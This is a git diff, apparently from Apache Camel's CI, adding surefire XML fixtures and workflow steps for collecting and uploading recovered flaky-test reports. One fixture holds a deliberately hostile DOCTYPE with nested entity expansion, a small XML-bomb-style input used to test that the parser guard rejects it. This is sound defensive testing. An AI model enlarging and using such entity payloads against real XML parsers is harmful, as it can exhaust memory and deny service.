index 000000000000..e213817db623
--- /dev/null
+++ b/.github/actions/incremental-build/testdata/TEST-doctype-rejected.xml
@@ -0,0 +1,13 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Deliberately hostile fixture: surefire never emits a DOCTYPE. Kept tiny on
+ purpose so that a regression in the guard fails the test rather than
hanging
+ the test run. -->
+<!DOCTYPE testsuite [
+ <!ENTITY a "aaaaaaaaaa">
+ <!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;">
+]>
+<testsuite name="org.apache.camel.probe.HostileTest" tests="1" failures="0"
flakes="1">
+ <testcase name="expanded" classname="org.apache.camel.probe.HostileTest">
+ <flakyFailure message="&b;" type="java.lang.AssertionError"/>
+ </testcase>
+</testsuite>
diff --git
a/.github/actions/incremental-build/testdata/TEST-error-then-failure-flake.xml
b/.github/actions/incremental-build/testdata/TEST-error-then-failure-flake.xml
new file mode 100644
index 000000000000..4839a9b06446
--- /dev/null
+++
b/.github/actions/incremental-build/testdata/TEST-error-then-failure-flake.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- The first attempt errored and the second one assertion-failed, so surefire
+ writes a flakyError before a flakyFailure. Reading them grouped by tag
would
+ report the second attempt's message as the first failure. -->
+<testsuite name="org.apache.camel.component.probe.OrderTest" tests="1"
+ errors="0" skipped="0" failures="0" flakes="1">
+ <testcase name="errorsThenFails"
classname="org.apache.camel.component.probe.OrderTest" time="1.100">
+ <flakyError message="first attempt timed out"
type="java.util.concurrent.TimeoutException">
+ <stackTrace>java.util.concurrent.TimeoutException
+ at
org.apache.camel.component.probe.OrderTest.errorsThenFails(OrderTest.java:31)
+</stackTrace>
+ </flakyError>
+ <flakyFailure message="second attempt asserted"
type="org.opentest4j.AssertionFailedError">
+ <stackTrace>org.opentest4j.AssertionFailedError: <elided>
+ at
org.apache.camel.component.probe.OrderTest.errorsThenFails(OrderTest.java:31)
+</stackTrace>
+ </flakyFailure>
+ </testcase>
+</testsuite>
diff --git
a/.github/actions/incremental-build/testdata/TEST-recovered-flake.xml
b/.github/actions/incremental-build/testdata/TEST-recovered-flake.xml
new file mode 100644
index 000000000000..e3dd382f8c9c
--- /dev/null
+++ b/.github/actions/incremental-build/testdata/TEST-recovered-flake.xml
@@ -0,0 +1,25 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<testsuite xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance";
xsi:noNamespaceSchemaLocation="https://maven.apache.org/surefire/maven-surefire-plugin/xsd/surefire-test-report.xsd";
version="3.0.2" name="org.apache.camel.component.probe.ProbeTest" time="0.002"
tests="3" errors="0" skipped="0" failures="1" flakes="1">
+ <testcase name="alwaysFails"
classname="org.apache.camel.component.probe.ProbeTest" time="0.013">
+ <failure message="deliberate permanent failure"
type="org.opentest4j.AssertionFailedError">
+</failure>
+ <rerunFailure message="deliberate permanent failure"
type="org.opentest4j.AssertionFailedError">
+ <stackTrace>org.opentest4j.AssertionFailedError: <elided>
+ at ProbeTest.java
+</stackTrace>
+ </rerunFailure>
+ <rerunFailure message="deliberate permanent failure"
type="org.opentest4j.AssertionFailedError">
+ <stackTrace>org.opentest4j.AssertionFailedError: <elided>
+ at ProbeTest.java
+</stackTrace>
+ </rerunFailure>
+ </testcase>
+ <testcase name="alwaysPasses"
classname="org.apache.camel.component.probe.ProbeTest" time="0.001" />
+ <testcase name="flakyPassesOnRetry"
classname="org.apache.camel.component.probe.ProbeTest" time="0.001">
+ <flakyFailure message="deliberate first-attempt failure"
type="org.opentest4j.AssertionFailedError">
+ <stackTrace>org.opentest4j.AssertionFailedError: <elided>
+ at ProbeTest.java
+</stackTrace>
+ </flakyFailure>
+ </testcase>
+</testsuite>
\ No newline at end of file
diff --git
a/.github/actions/incremental-build/testdata/TEST-two-attempt-flake.xml
b/.github/actions/incremental-build/testdata/TEST-two-attempt-flake.xml
new file mode 100644
index 000000000000..79c1fe6a3872
--- /dev/null
+++ b/.github/actions/incremental-build/testdata/TEST-two-attempt-flake.xml
@@ -0,0 +1,18 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Shape produced when rerunFailingTestsCount=2 and the test fails twice
+ before passing on the third attempt. -->
+<testsuite name="org.apache.camel.component.probe.SlowTest" time="9.412"
tests="1"
+ errors="0" skipped="0" failures="0" flakes="1">
+ <testcase name="connectsEventually"
classname="org.apache.camel.component.probe.SlowTest" time="0.900">
+ <flakyFailure message="Connection refused"
type="java.net.ConnectException">
+ <stackTrace>java.net.ConnectException: Connection refused
+ at
org.apache.camel.component.probe.SlowTest.connectsEventually(SlowTest.java:44)
+</stackTrace>
+ </flakyFailure>
+ <flakyFailure message="Connection refused"
type="java.net.ConnectException">
+ <stackTrace>java.net.ConnectException: Connection refused
+ at
org.apache.camel.component.probe.SlowTest.connectsEventually(SlowTest.java:44)
+</stackTrace>
+ </flakyFailure>
+ </testcase>
+</testsuite>
diff --git
a/.github/actions/incremental-build/testdata/TEST-utf16-doctype-rejected.xml
b/.github/actions/incremental-build/testdata/TEST-utf16-doctype-rejected.xml
new file mode 100644
index 000000000000..5dffb5b254f3
Binary files /dev/null and
b/.github/actions/incremental-build/testdata/TEST-utf16-doctype-rejected.xml
differ
diff --git a/.github/workflows/main-build.yml b/.github/workflows/main-build.yml
index 8ec9178f06b8..9f34d3a6ad26 100644
--- a/.github/workflows/main-build.yml
+++ b/.github/workflows/main-build.yml
@@ -91,9 +91,19 @@ jobs:
with:
github-token: ${{ secrets.GITHUB_TOKEN }}
skip-mvnd-install: 'true'
+ flake-label: JDK ${{ matrix.java }}
- name: archive incremental test logs
uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a
# v7.0.1
if: always()
with:
name: incremental-test-main-java-${{ matrix.java }}.log
path: incremental-test.log
+ # Main-branch flakes are the least noisy signal there is: no PR-specific
+ # changes to blame, so a retry here points at the test, not the diff.
+ # The action already produces flakes.json — without this it is discarded.
+ - name: Upload recovered-flake report
+ uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a
# v7.0.1
+ if: always() && hashFiles('flakes.json') != ''
+ with:
+ name: flakes-main-java-${{ matrix.java }}
+ path: flakes.json
diff --git a/.github/workflows/pr-build-main.yml
b/.github/workflows/pr-build-main.yml
index 30d0a9143703..a4c0909e3ce0 100644
--- a/.github/workflows/pr-build-main.yml
+++ b/.github/workflows/pr-build-main.yml
@@ -198,18 +198,34 @@ jobs:
skip-mvnd-install: 'true'
extra-modules: ${{ inputs.extra_modules || '' }}
maven-extra-args: ${{ matrix.maven_extra_args || '' }}
+ flake-label: JDK ${{ matrix.java }}
- name: archive incremental test logs
uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a
# v7.0.1
if: always()
with:
name: incremental-test-java-${{ matrix.java }}.log
path: incremental-test.log
+ # Recovered flakes (tests that failed then passed on retry) leave the
build
+ # green, so this artifact is the only durable record of them.
Aggregating it
+ # across PRs is what turns flakiness into evidence instead of anecdote.
+ - name: Upload recovered-flake report
+ uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a
# v7.0.1
+ if: always() && !matrix.experimental && hashFiles('flakes.json') != ''
+ with:
+ name: flakes-java-${{ matrix.java }}
+ path: flakes.json
# All non-experimental JDK matrix entries upload with overwrite: true.
# The comment content is identical across JDKs (same modules tested),
# so last writer wins. However, we only upload (and overwrite) when the
# comment file actually exists — a cancelled build (e.g., JDK 25 killed
# while JDK 17 fails) won't have the file and must not overwrite an
# artifact from a matrix entry that did produce it.
+ #
+ # The recovered-flake section is the one part that is NOT identical
across
+ # JDKs, so it names its JDK (flake-label above) and the reader can tell
+ # which entry it came from. Last writer still wins, so the comment shows
+ # one JDK's flakes; the per-JDK flakes-java-* artifacts above are the
+ # complete record.
- name: Save PR number and test comment for commenter workflow
if: always() && !matrix.experimental
shell: bash
diff --git a/.github/workflows/pr-ci-scripts-validation.yml
b/.github/workflows/pr-ci-scripts-validation.yml
index 9697d7c676f2..c8f859b2e11c 100644
--- a/.github/workflows/pr-ci-scripts-validation.yml
+++ b/.github/workflows/pr-ci-scripts-validation.yml
@@ -22,6 +22,7 @@ on:
- main
paths:
- '.github/actions/check-container-upgrade/**'
+ - '.github/actions/incremental-build/**'
concurrency:
group: ${{ github.workflow }}-${{ github.event.pull_request.number ||
github.ref }}
@@ -45,3 +46,17 @@ jobs:
run: |
cd .github/actions/check-container-upgrade
python3 -m unittest discover --verbose
+
+ # collect-flakes.py declares defusedxml inline (PEP 723); uv resolves it.
+ - name: Install uv
+ uses: astral-sh/setup-uv@20cfd1bf945f4377ade1205e4dbc17946fc9a30d #
v10.0.1
+ with:
+ enable-cache: true
+ version: "0.12.5"
+ python-version: "3.11"
+
+ - name: Test the incremental build scripts
+ shell: bash
+ run: |
+ cd .github/actions/incremental-build
+ uv run --with defusedxml python3 -m unittest discover --verbose
